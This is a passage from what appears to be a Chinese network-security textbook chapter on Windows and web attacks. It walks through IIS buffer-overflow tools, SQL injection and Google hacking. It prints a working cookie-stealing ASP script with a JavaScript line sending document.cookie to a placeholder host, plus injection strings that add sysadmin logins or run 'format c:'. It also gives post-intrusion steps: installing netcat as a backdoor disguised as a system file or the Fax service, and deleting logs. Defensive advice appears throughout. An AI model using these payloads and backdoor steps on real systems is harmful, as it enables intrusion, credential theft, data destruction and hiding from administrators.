(2)运行IIS IDQ程序,这里以在Windows下使用的IIS IDQ版本为例,向 X.X.X.x的 80端口发送shellcode,如下图所示。 入侵流程 注意:在测试时应注意X.X.X.x的服务器版本,同时要正确选择操作系统类型,这里默认的绑定命令是dir c:\即列出目标计算机C盘目录,入侵者根据需要可以更改所绑定的命令,图中添加的是“cmd.exe /c net user rend 1234/add”,这样就在目标服务器上加了一个用户trend,密码为1234。我们可以通过类似方法将trend添加成为管理员。 (3)发送Shellcode成功后,IIS IDQ溢出工具将在x.x.x.x上开启一个813端口。打开一个 cmd窗,键入命令 C:>telnet x.x.x.x 813,顺利登录目标服务器。 3.5.3 Pinter溢出漏洞入侵 漏洞成因及危害 Windows 2000 IIS5的打印ISAPI扩展接口建立了.printer扩展名到msw3prt.dll的映射关系,缺省情况下该映射存在。当远程用户提交对.printer的URL请求时,IIS5调用msw3prt.dll解释该请求。由于msw3prt.dll缺乏足够的缓冲区边界检查,远程用户可以提交一个精心构造的针对.printer的URL请求,其"Host:”域包含大约420字节的数据,此时在msw3prt.dll中发生典型的缓冲区溢出,潜在允许执行任意代码。溢出发生后,Web服务停止响应,Win2K可以检查到Web服务停止响应,从而自动重启它,因此,系统管理员很难意识到发生过攻击。 攻击实现攻击实现 由于.printer漏洞只有 IIS5.0(Windows 2000 Server)存在,所以入侵者通过此漏洞入侵计算机只会针对IIS5.0进行。 入侵者找到一台存在有.printer漏洞的IIS5.0服务器,搜索一个在Windows平台上进行的.printer溢出程序——iis5hack,将之拷贝到C盘根目录。 在命令提示符下运行iis5hack程序,如下图所示。 图中,<Host>:溢出的主机;<HostPort>:主机的端口;<HostType>:溢出主机的类型;<ShellPort>:溢出的端口。 攻击实现 假设目标机的IP地址为192.168.1.50,打开命令提示符程序,在提示符下输入以下命令格式: C:\ iis5hack 192.168.1.50 80 0 192.168.1.50为存有.printer溢出漏洞的主机IP,80是指主机的用来溢出的端口,0是指.printer溢出主机的类型为中文版SPO补丁。 如果.printer溢出成功的话,会出现提示内容,如下图所示。 .printer溢出成功后,iis5hack将会提示:Now you can telnet to 99 port,可以直接通过 telnet登陆99端口进行操作。 防范.print溢出漏洞措施:打补丁。 3.6 Web应用漏洞 3.6.1 针对数据库漏洞 MS SQL-SERVER空口令入侵 Mlcrosoft Sql Server是微软的关系数据库产品。所谓空口令入侵,实际上并不是一个漏洞,而是管理员配置上的疏忽。 在微软的MS SQL-SERVER7.0以下的版本在默认安装时,其SA(System Administrator)账户口令为空,所开端口为 1433,一个入侵者只需要使用一个MS SQL客户端与SA口令为空的服务器连接就可以获得System的权限。 攻击者可以使用MS SQL客户端或是第三方客户端连接工具将空口令服务器的数据库导出、增加管理员等操作,GUI的SqlExec.exe就是其中一款。 MS SQL-SERVER空口令入侵(1)通过漏洞扫描软件如流光等找到一台 SQL服务器的 SA为口令的主机。(2)运行SqlExec.exe,如下图所示。 MS SQL-SERVER空口令入侵(3)在如下图所示对话框的Host文本框中填入SA为空的IP地址。 (4)单击 Connect按钮,等待几秒钟后 SqlExec就能与远程 SQL服务端建立连接。(5)连接成功后就获得了System权限。此时可以执行系统指令,如更改。administrator的密码等。 Access数据库下载漏洞 Access数据操作灵活、转移方便、运行环境简单,对于小型网站的数据库处理能力效果还不错,是很多小型网站建站优先选择。但缺点是:数据库如果没有经过严格防护,很容易被攻击者利用特殊手段进行下载。 (1)隐患原因。很多中小企业网站没有开发能力,广泛应用网络上的新闻发布系统、产品发布系统、论坛,以及整站系统的源代码来修改成自己的网站,修改后又义没有采取必要的安全措施,给攻击者留下可乘之机。 ①攻击者可以用特殊请求让脚本解析出错,得到数据库路 径,直接下载数据库。 Access数据库下载漏洞 ②攻击者也可以分析网站所使用的系统的当前网页源文件包含的信息(meta,Keywords等),或者是页面、管理后台的版权信息,甚至是程序显示调用页面名称(如一个新闻系统的新闻调用显示页面mofei.news.show.asp,利用搜索引擎搜索mofei新闻系统即有可能得到这个系统的原程序),通过关键字在网络搜索,即可得到相应的该系统初始代码。通过分析源程序,很容易得到一些利用信息,如数据库的目录、文件名、管理后台、上传、提交漏洞等,为攻击带来便利,或者通过知道路径直接下载数据库。 Access数据库下载漏洞 一旦知道数据库在服务器中的存放路径,没有经过严格配制的数据库很容易被下载,被下载之后,可以轻松获得管理员账户、用户资料及网站其他信息等。同时通过分析这种 Web应用系统的数据库结构、字段,也很容易被用来对同类Web应用系统进行注入攻击提供辅助。 接下来分析黑客的攻击思路过程,以便在维护服务器时注意: ①下图是一个论坛的首页,查看源文件(所列举的www.huway.com非真实被攻击机器)。 Access数据库下载漏洞 Access数据库下载漏洞 ②通过源文件,发现作者留下 标签里面包含了www.huway.com的信息(见下图)。当然也对以通过页面的关键字到搜索引擎搜索,huway为这个留言系统的关键字,搜索“huway留言本下载”搜索到相关源程序包下载地址。 Access数据库下载漏洞 ③攻击者甚至注解通过作者留下的信息,登录其网站,也可以下载到该留言板的源代码(见下图)。 Access数据库下载漏洞 ④下载该系统的源程序包之后,对照网站目录很快找出数据库存放路径/lyDB/leeboard.mdb,直接在IE地址栏输入数据库地址,数据库被下载,见下图。 Access数据库下载漏洞 ⑤打开数据库,找出用户注册数据的表,如下图,第一个maslyWWX的用户即为管理员,其他用户资料也一览无余(测试内容,非真实资料)。 Access数据库下载漏洞 (6)攻击者发现密码字段是加密,如 5f5Cb5b9d033044C,事实上,大多数网站对一些关键宇段加密都采用MD5算法加密的。而网络上针对MD5的破解软件很多,纵然进行加密也不能保证安全。 Access数据库下载漏洞 第一:如 GH图 Md5Crack就是针对MD5加密的破解软件,如果密码是纯数字组织,且在8位以下,在短时间内就会被破解。 第二:很多网站通过Cookie进行用户验证,Cookie中的密码通过就为MD5加密过的密码,如果将普通用户账户和密码更改为管理员的账户和密码,可以直接获得管理员操作权限。此外通过NC等工具将Cookie信息(包括加密的密码密文)直接提交到服务器,也有类管理员的权限。 (2)漏洞防范。 ①更改数据库名。这是常用的方法,将数据库名改成足够复杂的文件防他人猜测。这样,被猜到数据库名则还能下载该数据库文件,其几率不大。 Access数据库下载漏洞 ②更改数据库里面常用宇段成复杂字段,避免注入(实施难度较大)。 ③给数据库关键字段加密,对于管理员账户设置复杂密码。 ④在你的数据库文件文件中建一个表,表中取一个字段名叫:antihack,在表名建一个字段。字段中填入任意一段不能正确执行的ASP语句,如<%='a'-1%>,再把数据库改名为.Asp,因为这样把扩展名改成.ASP后在IE中输入地址的时候,IE就会去解释之间的代码并且会出错,所以数据库不会正确地被下载。如果在数据库文件名前加一“#“,虽然不能有效防止下载,但对防范注入攻击(后面章节会提到)也有一定的效果。 Access数据库下载漏洞 (建一个字段:antihack) Access数据库下载漏洞 ⑤如果您有机器管理权限(非虚拟主机),以下方法也可有助帮您实现防止数据库下载。 将您的数据库放到 IIS以外的目录,如 Web目录在 D:\Web,可以将数据库放到 E:\huway。或者将数据库设置成不可读取也是防止数据库被下载的不错方法,在IIS中,数据库上右键属性中,设置文件不可以读取。 3.6.2 Cookie攻击 Cookie或称Cookies,指某些网站为了辨别用户身份而储存在用户本地终端上的数据(通常经过加密)。 3.6.2 Cookie攻击 如上图,dking用户在登陆时,系统就保留了该用户的Cookie信息。当我们点击进入会员专区的时候,事实客户端向服务器提交了本地Cookie信息,包括用户名、密码等。(phpbb2mysql_data=a%3A1%3A%7Bs%3A6%3A%22userid%22%3Bi%3A2%3B%7D;symfony=ba7..) 3.6.2 Cookie攻击 有些网站存放用户名和密码的Cookie是明文的,黑客只要读取Cookie文件就可以得到账户和密码,有些Cookie是通过Md5加密的,用户仍然可以通过破解得到关键信息。 一些论坛用Cookie里面写入一键值来判断用户是否是管理员权限,例如某键值1为管理员,0为普通账户。这样普通用户通过Cookie修改键值,就可以直接获得管理员权限。 通过IECookiesView的工具可以很方便的读取本机上所有Cookie并可轻易修改之。 3.6.2 Cookie攻击 而本地Cookie又是可以通过多种办法被黑客远程读取,例如你在某论坛看一个主题贴或 者打开某个网页时,您的本地Cookie就有可能被远程黑客所提取,所以Cookie很容易泄露 您的个人安全和隐私。 3.6.2 Cookie攻击 用户可将以下一段代码保存为cookie.asp,然后上传到您支持ASP、开放FSO的主机空间,其地址为http://xxx.xxx.xxx.xxx/cookie.asp,从而了解黑客是如何读取您的cookie的。 <% testfile=Server.MapPath("cookies.txt") msg=Request("msg") Set fs=server.CreateObject("scripting.filesystemobject") set thisfile=fs.OpenTextFile(testfle,8,True,t) thisfile.WriteLine(""&msg&"") thisfile.close set fs=nothing %> 3.6.2 Cookie攻击 将下面的一段脚本加到您的任一对外访问页面中,就可收集访问用户的Cookie信息到网站空间中的cookies.txt文件内,打开该文件后,就可以看到所有用户的Cookie信息,而这些Cookie信息中很可能就包括着用户的各个论坛和网站密码帐号。<script>window.open('http://xxx.xxx.xxx.xxx./cookie.asp?msg='+document.cookie) 3.6.2 Cookie攻击 Cookie利用 Cookie对黑客来说作用非常巨大,除了修改本地hosts.sam文件以便对修改的Cookie提交,从而得到一些特殊权限外,还可能会有以下的利用。 当用户登陆一个已经访问并且在本机留下Cookie的站点,使用Http协议向远程主机发送一个GET或是POST请求时,系统会将该域名的Cookie和请求一起发送到本地服务器中。 下面的就是一个实际的请求数据过程抓包: Cookie利用 GET/ring/admin.asp HTTP/1.1 Accept: *.* Accept-Language:zh-cn Accept-Encoding:gzip,deflate User-Agent:Mozilla/4.l(compatible;MSIE 6.0;Windows 98) Host: 61.139.XX.XX Connection: Keep-Alive Cookie:user=admin;password=5f5Cb5b9d033044c;ASPSESSIONIDSSTCRACS= ODMLKJMCOCJMNJIEDFLELACM 将以上数据,重新计算Cookie长度,保存为test.txt文件,放在NC同一目录下。以上Http请求,我们完全可以通过 NC进行站外提交,格式如下: nc-vv XX.XX.XX.XX 80 其他用户一例览其签名的帕于页面时,就在并不知情的情况下开始加载木马(因为打开的窗口宽、高都为0,看不见) XSS 例如,很多论坛不支持html,仅仅支持UBB,使用UBB的标签来插入一幅图片,其格式为[img]http:www.huway.com/logo.gif[/img],提交到后台UBB代码会转化为html格式<img src=http://www.huway.com/logo.gif>,假设攻击者在输入符合 UBB标准的恶意代码: [img]javascript:alert('跨站测试');[/img] 提交后前台页面显示的内容为标签激活了。当别的用户打开该页面时就会弹出对话框,上面写着“跨站测试” 内容,影响网站的形象和正常使用。更加恶意的攻击者还会利用documents.cookie();document.write();等函数来收集用户Cookie,修改当前网页,后果更严重。 XSS 更多的Web程序编写者,开始对所有的javascipt等敏感字符进行过滤,一旦在提交内容输入某些特征字符就可能被直接删除或者被分解成 ja va sc I pt,ja连接,do连接,wr连接,提交后自动分为j a,d o,w r,总之使得标签无法运行。而这样的过滤仍然不是完美的,只能难倒一小部分人,攻击者仍然可以利用 ASCII码或者 Unicode编码来重写恶意标签,如: ASCII码替代: XSS [imgl&#176&#93&#118&#97&#115&#79rip&#106&#57documen&#115&#76write&#30&#29 哈哈,又被跨站了&#29&#61&#29[/img] 提交到前台解释为 <img src=“javascript:write(’哈哈,又被跨站了’);”> Unicode编码替代: %3Cscript%3Ealert(’XSS’)%3C/script%3E 提交到前台解释为 <Scritpt>alert('XSS测试’) XFS Cross Frame Script也叫 XFS,它是 Cross Site Scirpt后一个新的盗取用户资料的方法。 (1)首先,举一个简单的例子来帮助读者理解什么是 Cross Frame Script? 把下面的这段HTML代码另存为一个html文件,然后用IE测览器打开。 XFS 当用户在百度的搜索框内输入字符时,会发现左下角的状态栏上出现了刚才输入的字符。稍微有编程技术的人,完全可以将刚才用户输入的资料发送到指定服务器进行收集。 (2)Cross Frame Script原理。利用测览器允许框架(frame)跨站包含其他页面的漏洞,在主框架的代码中加入Script,监视、盗取用户输入。 (3)Cross Frame Script危害。一个恶意的站点可以通过用框架页面包含真的网银或在线支付网站进行钓鱼,获取用户账号和密码,且合法用户不宜察觉,因为提供的服务完全正常。 XFS (4)解决方案: 作为用户,应留心浏览器地址,不在带框架页面中输入用户信息。 作为网站管理员,在页面中加入以下javascirpt代码可以避兔网站被XFS: if(top!=Self){ top.location=Self.location; } 3.6.5 注入攻击 SQL注入攻击可以算是互联网上最为流传最为广泛的攻击方式,许多企业网站先后遭此攻击。 所谓 SQL注入(SQL Injection),就是利用程序员对用户输入数据的合法性检测不严或不检测的特点,故意从客户端提交特殊的代码,从而收集程序及服务器的信息,查询数据库,获取想得到的资料。了解注入攻击防范,对保证Web安全非常重要。攻击实现 (1)一些网站的管理登陆页面对输入的用户名和密码没有做SQL过滤,导致同站被攻击。 下面介绍攻击者如何通过恶意构造然后绕过登陆验证的。攻击实现 假设一个没有严格过滤SQL字符的管理登陆界面,其后台验证过程如图。事实上黑客并不需要知道用户名和密码,那么黑客只需在用户名里面输入"'or 1=1--",密码任意输入,提交后,系统认为用户名为空('')或者(1=1恒成立),后面不执行(--),就无需验证密码直接进入后台。攻击实现 (2)下面的查询语句在有注入漏洞的服务器上被恶意利用也会导致严重后果 String SqlStr=”Select * from customers where CompanyName like '%"+textBox1.Text+"%"'; 这样的字符串连接可能会带来灾难性的结果,比如用户在文本框中输入: a' or 1=1 那么SqlStr的内容就是: select * from customers where CompanyName like '%a' or 1=1 --%' 这样,整个customers数据表的所有数据就会被全部检索出来,因为1=1永远true,而且最后的百分号和单引号被短横杠注释掉了。攻击实现 如果用户在文本框中输入: a' EXEC sP_addlogin 'John','123'EXEC sP_addsrvrolemember 'John','sysadmin'-- 那么SqlStr的内容就是: select * from customers where CompanyName like '%a' EXEC sp_addlogin 'John','123' EXEC sp_addsrvrolemember'John','sysadmin'-- 该语句是在后台数据库中增加一个用户John,密码123,而且是一个sysadmin账号,相当于sa的权限。 如果用户在文本框中输入: a'EXEC xp_cmdShell('format c:/y')-- 运行之后就开始格式化C盘!攻击实现 (3)PHPSql注入实例。 CMSware的整站系统被网络上广泛应用大多后台都是默认在/admin/下面,如下图。 攻击实现 黑客通过搜索关键字或者直接输入网址,即可进入后台管理登陆窗口。 ①黑客首先判断此站是否存在注入漏洞,在用户名处输入测试语句“’or 1=1—”,密码任意,验证码见系统显示。返回Mysql数据库连接信息。 ②通过出错信息,构造注入语句绕过验证。 上面的错误 SQL查询给黑客提供一条信息,那就是前面输入的用户名“‘and=1=1-”没有做反斜杠处理而直接被放到u.uName=’$userName‘了,该疏漏提供了sql注入的空间: 在用户名一栏输人的内容代替[SQL_INJECTION_HERE]的内容使之可以正确执行并绕过密码验证便可达到注入的目的。 要绕开密码验证条件最直接的方式就是把一个查询结束掉另做一个查询,但是由于php中使用 mysql_query()函数进行查询时只支持单个SQL,在单个SQL里面要执行多个查询,很自然我们想到了联合查询。MySQL从4.0开始就支持联合查询,目前MySQL4的应用还是很普及的,我们于是尝试使用union把查询条件分割开来,下面语句方括号中是输入的内容: 上述查询实际上是下面3个查询语句的组合: 其中第1条和第3条查询结果可能为空,第二条则返回所有用户数据结果。测试后,很明显地得到了黑客想要的结果,绕过了密码验证。 将上面[ ]中语句直接输入到用户名中,密码任意,填写图片代码,提交即可进入管理后台。(参见下页图示) (4)通过注入获得管理员账户密码。 一个正常的网址http://localhost/lawjia/show.asp?ID=101,将这个网址提交到服务器后,服务器将进行类似 Select * from表名 where字段="&ID的查询(ID即客户端提交的参数,本例是即101),再将查询结果返回给客户端。 当某人知道网站管理员帐号存储在表login中,其用户名为admin,如果想知道管理员密码,此时他可从客户端接着提交这样一个网址: http://localhost/lol/show.asp?ID=101 and (Select password from login where user_name ='admin')>0 返回的出错信息如下: Microsoft OLE DB Provider for ODBC Drivers(0x80040E07) [Microsoft][ODBC SQL Server Driver][SQL Server]将 varchar值'!@huway**a'转换为数据类型为int的列时发生语法错误。 /lol/show.asp,第27行黑体字部分即为返回密码。 (5)通过工具进行注入攻击测试。 如何判断一个网站能否被注入,首先找到注入点,像上面提到的“/show.asp?ID=101”就是一个注人点,很多新闻系统的新闻显示页面、产品发布显示页面都有类似ID=101的标志,在ID=101后面直接输入and 1=1,如果没有出错,仍然返回原先显示页面,这就是一个注人漏洞,如果返回您的网址不合法,显然己经做了SQL过滤。 显然人工猜测表名是一件麻烦事情,但大多存放管理员的账户的表通常为addmin,guan,login这样简单单词,通过黑客工具附带字典,先确定表的名称,接着猜测字段,然后穷学查询字段第一位、第二、第三位…,直到全部出来,借助工具,对有注人漏洞网站攻击成功率可达60%以上。 注入工具有NBSI、啊D、Domain等,下面以domain为例。 打开domain3.5,选择SQL注入,将网站注入点输入到软件的注入点中,单击“开始检测”按钮,如果可以注入,点击“猜解表名”。如果对方表名和列名都比较简单,那么一切顺利,很快将会在检测结果里出现列名和内容(如下图,检测得到admin表里面的usename和 password的列以及一个用户为angle的 MD5加密密码。) 3.6.6 搜索攻击 Google是全世界最流行和最强大的搜索引擎。它可以接受预定义(pre-defined)的命令作为输入,从而产生意想不到的结果(百度也一样,下面选择Google进行举例,右图为通过Google搜索得到某政府网站的遍历漏洞)。 Google可以面向公众服务器进行安全扫描--包括Windows、IIS、Apache和 SQLServer。攻击者能使用它得到服务器的信息,包含敏感信息的文件和检测出“暗藏的”登录页、服务器日志文件,以及很多其他的内容。更为严重的是,通过Google进行漏洞自动搜索的技术已经被多个黑客团体所掌握,已经出现针对多款通过Google漏洞进行搜索传播的病毒。 通过Google扫描,可能会直接获得以下信息: (1)信用卡信息(credit card information)、证件、电话号码关联信息,和其他公众可以通过Web应用程序和数据库访问的机密信息。 (2)网络摄像头,一些监控企业内部情况的摄像头都可能被搜索到。 (3)文字处理文档、电子表格和演示文稿文件(如word、ppt、PDF)。 (4)Outlook Web Access相关的文件。 (5)默认的(通常是不安全的)IIS文件和自定义的IIS错误信息。 (6)本想隐藏的Web管理后台登录页面。 (7)进行不属于你的网络的主机欺诈。 (8)包含敏感信息的新闻帖子。 (9)存在遍历漏洞的目录,文本存放的账户信息。 攻击语句示例 现在Google如此智能,黑客们当然不会介意利用它从互联网上来挖掘更多本来不应该让他们知道的保密和隐私的信息。下面详细讨论这些技术,展示黑客们是如何利用Google从网上挖掘信息的,以及如何利用这些信息来入侵远程服务器。 (1)常用Google黑客搜索攻击语句: (参见下页) (2)利用“index of”与发来查找开放目录浏览的站点。 一个开放了目录浏览的WEB服务器意味着任何人都可以像浏览通常的本地目录一样浏览它上面的目录。这对黑客来说,是一种非常简单的信息搜集方法。试想如果得到了本不应该在internet上可见的密码文件或其他敏感文件,结果会怎样。下面给出了一些能轻松得到敏感信息的例子:(3)利用“inurl”或“allinurl”寻找缺陷站点或服务器。 ①利用“allinurl :Winnt/system32/”(不包括引号)会列出所有通过Web可以访问限制目 录如“system32”的服务器的链接。如果你很幸运你就可以访问到“system32”目录中的 cmd.exe。 一旦你能够访问“cmd.exe”,就可以执行它,服务器归你控制了。 ②利用“allinurl:wwwboard/passwd.txt”(不包括引号)会列出所有存在“WWWBoard密码缺陷”的服务器的链接。 ③利用“inurl:bash_history”(不包括引号)会列出所有通过Web可以访问“.bash_history”文件的服务器的链接。这是一个历史命令文件。这个文件包含了管理员执行的命令列表,有时还包含敏感信息例如管理员输入的密码。如果这个文件被泄漏并且包含加密的Unix密码,就可以用“John The Ripper”来破解它。 ④利用“inurl:config.txt”(不包括引号)会列出所有通过Web可以访问“config.txt”文件的服务器的链接。这个文件包含敏感信息,包括管理员密码的哈希值和数据库认证凭证。 其他类似的组合其他语法的“inurl:”或“allinurl:”用法: (4)利用“intitle”或“allintitle”寻找缺陷站点或服务器。 ①利用[allintitle:“index of/root”](不包括括号)会列出所有通过 Web可以访问限制目录如“root”的服务器的链接。该目录有时包含可通过简单Web查询得到的敏感信息。 ②利用[allintitle:“index of/admin”](不包括括号)会列出所有开放如“admin”目录浏览权限的 Web站点列表链接。大多数 Web应用程序通常使用“admin”来存储管理凭证。该目录有时包含可通过简单Web查询得到的敏感信息。 其他类似的组合其他语法的“intitle:”或“allintitle:”用法: 防止搜索引擎攻击的策略 (1)巩固服务器,并将其与外部环境隔离。 (2)设置robots.txt文件,禁止Google索引自己的网页,具体见Google。 (3)将高度机密的信息从公众服务器上去除。 (4)保证自己的服务器是安全的。 (5)删除管理系统的特征字符。 以动力3.51为例,页面下方的“Powered by:MyPower Ver3.51”和管理登陆页面的“后台管理页面需要屏幕分辨率为1024*768或以上才能达到最佳浏览效果!”就是入侵者判断文章系统类型的依据之一。如果有可能,还可以把特征文件名改掉,如显示文章的Article_show.asp,可以在Deamweaver里面,用全站替换的方法,改成Shownews.asp之类的名字,进一步干扰人侵者的判断。 3.7 黑客攻击的思路 假设某黑客想人侵某企业网络中心一台Win2000的Web服务器,入侵的目标为拿到”Win2000的管理员账户或者修改网站首页。他可能的攻击思路流程大致如右图所示。 3.7.1 信息收集 信息收集通常有以下一些方法: (1)从一些社会信息入手; (2)找到网络地址范围; (3)找到关键的机器地址; (4)找到开放端口和入口点; (5)找到系统的制造商和版本; …… 信息收集又分为社会工程和技术手段收集。社会工程学 (1)通过一些公开的信息,如办公室电话号码、管理员生日、姓氏姓名、家庭电话,来尝试弱口令,通过搜索引擎来了解目标网络结构、关于主机更详细的信息,虽然几率很小,至今仍会有管理员犯一些经典的错误,例如某高能所将自己网络改进方案放之网上,详细到每台设备的地址配置,为攻击者留下可乘之机。 (2)如果以上尝试失败,可能会通过各种途径获得管理员及内部人员的信任,例如网络聊天,然后发送加壳木马软件或者键盘记录工具。如一段时间熟悉之后,他可能会利用MS04-028漏洞利用工具将自己的照片帮定一个木马,然后将之将之传到网上,同时附一个http://www.xxx.com/me.jpg的图片地址,管理员一看是一个JPG的后缀,确信是一张图片,一旦通过IE打开,木马就会载入执行。 (3)如果管理员已经给系统打了补丁,MS04-028漏洞无法利用。攻击者可能通过协助其解决技术问题,帮助其测试软件、交朋友等名义,能够直接有机会进入网络机房。进入机房利用查看服务器机会,可以开设一隐藏账户(新开一账户或者激活Guest账户都容易被发觉,如何建一隐藏账户见相关资料)。 如果时间足够,直接登陆机器或通过网上邻居破解服务器Sam库得到管理员账户和密码也是不错的选择,下载Sam库破解工具LC4(或者LC5),直接破解管理员当前账户。如果10位以下纯数字密码,LC4有能力在1小时内破解完成。 (4)也可能通过查找最新的漏洞库去反查具有漏洞的主机,再实施攻击。 技术手段收集 攻击者通过Windows自带命令也可以收集很多对攻击有利的信息。如 DNS&nslookup,Ping&Traceroute,Whois等。 3.7.2 端口扫描 通过前一节基本的信息收集,黑客可能已经获得攻击对象的IP地址、网络结构、操作系统系统等信息,接着可以针对性地进行漏洞扫描。 常用扫描软件 扫描软件有 SSS(Shadow Security Scanner),Nmap、Xsan、Superscan,以及国产流光等,SSS是俄罗斯的一套非常专业的安全漏洞扫描软件,能够扫描目标服务器上的各种漏洞,包括很多漏洞扫描、端口扫描、操作系统检测、账号扫描等等,而且漏洞数据可以随时更新。 扫描远程主机 开放端口扫描:通过开放哪些端口判断主机开放哪些服务。 操作系统识别:SSS本身就提供了强大的操作系统识别能力,也可以使用其他工具进行主机操作系统检测。 主机漏洞分析:SSS可对远程主机进行漏洞检测分析,这更方便了黑客了解远程主机的状态,选择合适的攻击入口点,进行远程入侵。 3.7.3 漏洞利用 由于SSS本身只是一个漏洞扫描软件,针对漏洞本身不带有任何利用或者攻击功能。攻击者对于已知漏洞知道如何实施渗透的,可以直接渗透。对于不熟悉的漏洞,则必须找出相应的漏洞利用工具或者利用方法。 攻击者通过 Google,Baidu或者一些黑客网站的漏洞引擎去搜索“漏洞关键字符”+“利用”或“攻击”去寻找相关入侵技术文档或者工具,另外通过己知的漏洞的一些操作系统、服务、应用程序的特征关键字,去搜索更多的目标机器。 3.7.4 攻击阶段在扫描过漏洞之后,进入攻击阶段,根据扫描结果采用的攻击方法也不一样,举例如下: (1)如攻击者通过扫描得到系统存在IDQ漏洞,那么攻击者通过搜索“IDQ溢出下载”,就能搜索到IDQ over这样的工具。具体过程见3.2节的“ida&idq缓冲区溢出漏洞”攻击实现,通过溢出得到 Shell,然后通过 Net use增加管理员账户。 (2)如果没有溢出漏洞,可以继续查看相关服务漏洞。如 IIS的 Unicode,可能安装 ServerU等其他可利用漏洞。如果扫描结果和个人经验判断显示无任何己知漏洞。可以考虑暴力破解管理员账户(如果对方未作账户锁定或者设置安全策略),对Administrator口令实施强行破解。 如果目标主机是一台个人主机,绝大部分情况下均使用Administrator帐号进行登陆,且个人防范意识较差的话,选择的密码一般都较简单,如“主机名”、“11111”、“12345”等简单密码(方便自己的快速登陆)。所以考虑利用NetBIOS会话服务(TCP 139)进行远程密码猜测。 这里攻击者使用NAT(NetBIOS Auditing Tool)进行强行破解:构造一个可能的用户账户表,以及简单的密码字典,然后用NAT进行破解。 NAT穷举破解管理员账户界面参见下页图示: (NAT穷举破解管理员账户界面) (3)如果系统本身没有任何己知漏洞,攻击者考虑从服务的应用开始人手攻击。尤其Web应用漏洞更是频多,大致攻击步骤如下(排序不一定代表攻击顺序先后): ①首先判断所使用的系统来源,如论坛的版本号、新闻系统来源,主要通过版权信息,html源文件(非程序源代码)的Meta信息,系统注释说明特征字。 ②通过已知系统特征信息去搜索系统源代码,下载分析,包括管理后台,上传后台,数据库名称路径等。尝试站外提交、下载数据库等。 ③如果没有找到特征信息,用专门搜索工具(如 NBSI)搜索管理后台登陆页。管理后台上通常有版权信息。如果没有,尝试在用户名里输入“’or1=1-”一类的注入语句。有时候即使不能绕过后台,也能返回数据库地址等信息。 ④以上尝试都没有成功,可以尝试爆库(http://xxx.xxx.xx.xx/inc/conn.asp,如果出错信息中可以显示出数据库的路径,就存在这个漏洞见下图)或者使用工具注入(如 Domain3.5)。 ⑤如果上述任何尝试都无功而返,可以考虑此站任何可以进行交互地方如图像上传、更改图像、个性签名等处,进行抓包,分析提交数据,找出上传漏洞或者XSS漏洞进行利用。 ⑥一切攻击尝试都无功而返,说明管理员防范技术很好或者攻击者的技能不够,攻击者不可能入侵每一台机器,但可能会试图通过一些拒绝式服务攻击去阻止目标系统的正常运行。 3.7.5 后攻击阶段 如获得管理员账户或者Webshell,黑客可能会按以下流程进行后攻击操作: (1)添加隐藏的管理员账户。 (2)拷贝后门到目标机器。 (3)启动后门。 (4)修补常见漏洞,避免更多黑客进入系统。 (5)将此服务器作为代理服务器或者进一步入侵与此机有信任关系的网络。 (6)安装一些监控木马(记录银行账户,QQ密码),或者在 Web服务器 index里加入隐藏木马,达到其他目的(安装工具条,发起DDoS,投放AD)。 (7)删除登陆以及操作日志(%WinDir%\System32\LogFiles)。 利用溢出攻击,可以直接获得管理员账户,如果通过Web攻击,也可以通过一些Webshell工具以及SQL注入得到或增加管理员账户。为了今后更好控制主机,例如监控主机键盘记录或者屏幕,或是拷贝Sam库回来破解其他管理员账户密码工具,或通过远程控制工具的控制目标服务器等(例如安装远程控制服务RAMDIN),我们可以在对方的服务器上安装一个后门程序。具体步骤如下(假设后门为NC(Netcat): ①利用刚刚获取的 Administrator口令,通过 Net use映射对方驱动器映射为本机 X盘,语句为: C:\net use X:\\对方 IP\C$“管理员密码”//USER:“管理员账户名” ②然后将netcat主程序nc.exe复制到目标主机的系统目录下(便于隐藏),可将程序名称改为容易迷惑对方的名字,如rundll32.exe、ddedll32.exe等。 ③木马拷贝到对方机器,并将其安装执行。利用 at计划任务命令远程启动 NetCat,供远程连接使用。另外,再添加每日运行计划以便日后使用。如果对方停止计划任务,可用Microsoft的Netsvc强制启动。 at命令语句为:C:\at\\服务 IP 16:24 C:\Nc.exe-install netsvc语句为:C:\ netsvc schedule \\对方服务器 IP /start ④如果攻击者对开启的服务的名称(cmd下net start可以看到当前启动的服务)不满意,怀疑被管理员发现,还可以将安装的服务名称改成系统服务名,如 Fax服务,这样隐藏得更加彻底: 首先,将系统的fax服务给删除: C:\sc \\对方 IP delete fax 然后再将NC服务改名: C:\sc \\对方 IP config NC displayname=Fax ⑤对于web应用攻击,黑客还可在对方的Index或者Default页面中加人0大小窗口的隐藏的<iframe>,去加载任何一个恶意的网页,如木马、Cookie收集网页等。也有可能上传一些Webshell具,准备随时管理被入侵的网站。 ⑥对于另外一些黑客,可能会考虑删除日志(IIS 默认的日志在:%WinDir%\System32\LogFiles下,删除全部文件);一些黑客会考虑修补服务器漏洞,如删除弱口令、遍历漏洞等,防止服务器被再次攻击,但会给自己留下后门长期占用。另外一些黑客会去告诉管理员漏洞之所在,或者直接在其机器上留下痕迹,如在首页上署名(你们网站有漏洞,通常为脚本青年所为)。 3.8 黑客攻击防范 Windows NT(New Technology)是微软公司第一个真正意义上的网络操作系统,发展经过Windows NT3.0/NT4.0/NT5.0(Windows 2000)和 NT6.0(Windows 2003)等众多版本,并逐步占据了广大中小网络操作系统的市场。下面主要介绍一些基本的Windows安全措施: 物理安全、停止Guest帐号、限制用户数量。 创建多个管理员帐号、管理员帐号改名。 陷阶帐号、更改默认权限、设置安全密码。 屏幕保护密码、使用NTFS分区。 运行防毒软件和确保备份盘安全。 关闭不必要的端口、开启审核策略。 操作系统安全策略、关闭不必要的服务。 开启密码策略、开启账户策略、备份敏感文件。 不显示上次登录名、禁止建立空连接和下载最新的补丁。 上述9条安全措施,可以对照关键字通过搜索引擎来了解如何配置。还可以考虑以下的一些高级安全措施: 关闭DirectDraw、关闭默认共享。 禁用 Dump File、文件加密系统。 加密Temp文件夹、锁住注册表、关机时清除文件。 禁止软盘光盘启动、使用智能卡、使用IPSec。 禁止判断主机类型、抵抗DDOS。 禁止Guest访问日志和数据恢复软件。 除此之外,还需考虑: 保证服务器所提供的服务安全,对服务器的TCP进行端口过滤。 使用防护产品防病毒、防火墙、入侵检测,并保证所有的策略库及时更新,并尽量考虑使用网络版防毒产品和专业服务器防毒产品。 对Web服务器做网络负载平衡,对公网对内网通信使用VPN,大的内部网络进行Vlan划分。 使用加密技术,如 PGP加密邮件,使用 PKI-公钥相关软件及服务,多因素认证、动态口令卡等。 使用Outlook或者Foxmail接收邮件,选择纯文本格式阅读邮件。 